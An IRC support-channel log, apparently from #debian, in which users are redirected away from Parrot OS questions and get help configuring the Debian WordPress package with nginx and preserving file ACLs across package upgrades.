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20:17<delinuxist>hey guys
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20:23<rob_debian>Hi delinuxist :)
20:23<delinuxist>after installing my parrot os my hard drive is unmounted under devices but i cant mount....what should i do
20:23<annadane>!parrot
20:23<dpkg>Parrot OS (https://www.parrotsec.org/) is a security and penetration testing distribution. It is based on Debian testing, but it is not Debian and is not supported in #debian. Seek help in #parrot on irc.frozenbox.org or try the mailing lists at http://lists.parrotsec.org/listinfo. Also ask me about <based on debian>.
20:24<rob_debian>!based on debian
20:24<dpkg>Your distribution may be based on and have software in common with Debian, but it is not Debian. We don't and cannot know what changes were made by your distribution (compare http://futurist.se/gldt/). #debian only supports Debian and pure <blend>s; please respect our choice to volunteer here to help Debian users. Support for other distributions is off-topic on #debian, even if your own distro's channel is clueless or non-existent.
20:24<annadane>rob, you can also /msg the bot
20:25<rob_debian>oh, annadane, please, teach me how to do it
20:25<rob_debian>.
20:26<delinuxist>so what os do u guys use
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20:26<annadane>!chat
20:26<dpkg>This is not a chat channel, this is a Debian user support channel. Unless you have a Debian support question, please chat elsewhere, like #debian-offtopic, or #moocows on irc.oftc.net or ##chat on irc.freenode.net.
20:26<annadane>rob, just /msg dpkg message
20:26<rob_debian>only Debian GNU/Linux here, delinuxist
20:26<delinuxist>kk
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20:27<rob_debian>oh, fine, annadane, thanks for information and always Great Support you provide to me ! :)
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20:28<rjsalts>What happened to parrot? I see it's not in stretch. Is the official perl6 compiler better?
20:32<rjsalts>oh, looks like it was abandoned upstream
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20:34<rob_debian> I haven't found 'exaile' and 'xchat' in stretch repositories too, rjsalts. well, 'xchat' isn't really needed, for we can use 'hexchat' in Debian, even 'pidgin'
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20:43<rjsalts>yeah, xchat was abandoned upstream
20:44<rjsalts>exaile looks like it's a problem because it depends on an old version of gstreamer
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20:47<rob_debian>I see, so, not used by debian anymore, but there are tons of excellent options that replace it, fortunately
20:47<rjsalts>looks like upstream on exaile is doing a rewrite with modern gstreamer/gtk3/etc
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20:49<rob_debian>so, it is going to be available again ? exaile ?
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20:51<hthoreau>Good evening.
20:51<hthoreau>I'm trying to install the wordpress package available through the debian repository.
20:52<hthoreau>I found a wiki page for it, https://wiki.debian.org/WordPress, though it describes instructions for Wheezy and Jessie only.
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20:52<hthoreau>Also, using Apache.
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20:52<hthoreau>I've nginx installed, and it has a similar folder structure than the one suggested for Apache.
20:53<Arcade>ok so using #sudo apt-get install wordpress not work?
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20:54<hthoreau>Oh, it does Arcade. I'm trying to host my first site now, at my localhost.
20:55<hthoreau>But there are no instructions for Nginx, so, before I try anything,
20:55<Arcade>I assume you are using nginx which uses /etc/nginx
20:55<hthoreau>Arcade: Yes! That's it.
20:55<Arcade>see if the wordpress files are under /var/www/html/
20:56<hthoreau>Hm... No, only "index.nginx-debian.html"
20:57<Arcade>#ls /var/www/html/ only shows the one file?
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20:58<hthoreau>Yes. That's it. Though, "ls /usr/share | grep wordpress" and "ls /var/lib | grep wordpress" return the result "wordpress"
20:59<rob_debian>well, I must go now, thanks for help and Great Support, annadane, itd, rjsalts, Cyrus !! Nice Debian Warriors always make me feel very happy here ! You are the Best !! Thank you very much !
20:59<rob_debian>Bye ! Bye all !
20:59<Arcade>that only looks at /usr/share and /var/lib
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20:59<hthoreau>It seems that in the instructions for Apache it is asked to create a wp.conf file with "Alias /wp /usr/share/wordpress"
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21:00<hthoreau>Maybe I should point out to these locations, instead of /var/www/html? How do I proceed with Nginx?
21:01<Arcade>try following this hthoreau
21:01<Arcade>https://www.digitalocean.com/community/tutorials/how-to-install-wordpress-with-nginx-on-ubuntu-14-04
21:01<hthoreau>Ok, thanks Arcade!
21:02<Arcade>see if that works better: I know its for Ubuntu but same as Debian
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21:03<Arcade>I believe when you install hthoreau it places the wordpress install under /var/www/html/
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21:04<Arcade>I think you want to just check /etc/nginx/sites-available
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21:09<rjsalts>hthoreau: if you have the wordpress package installed nginx can point to that. you might want to use php-fpm to do it. Looks like /usr/share/doc/wordpress/examples/nginx-wordpress.conf in the package might be a useful template
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21:11<hthoreau>rjsalts: Ah, cool! Thanks for the tip!
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22:06<nick>Is there a way to preserve custom ACLs on a package's files across upgrades?
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22:34<nick>I ended up using DPkg::Pre-Invoke. It's probably not the best solution because I only need the ACLs perserved for one package, but it's the only one I could find from the man pages
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22:43<jmcnaught>nick: there's dpkg-statoverride for regular file permissions if that helps
22:46<nick>jmcnaught: That doesn't help, but thanks anyway
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22:47<will>can someone tell me how to get the parrot display to display 1920x1080?
22:47<jmcnaught>!parrot
22:47<dpkg>Parrot OS (https://www.parrotsec.org/) is a security and penetration testing distribution. It is based on Debian testing, but it is not Debian and is not supported in #debian. Seek help in #parrot on irc.frozenbox.org or try the mailing lists at http://lists.parrotsec.org/listinfo. Also ask me about <based on debian>.
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22:48<will>ok i will check it out thanks
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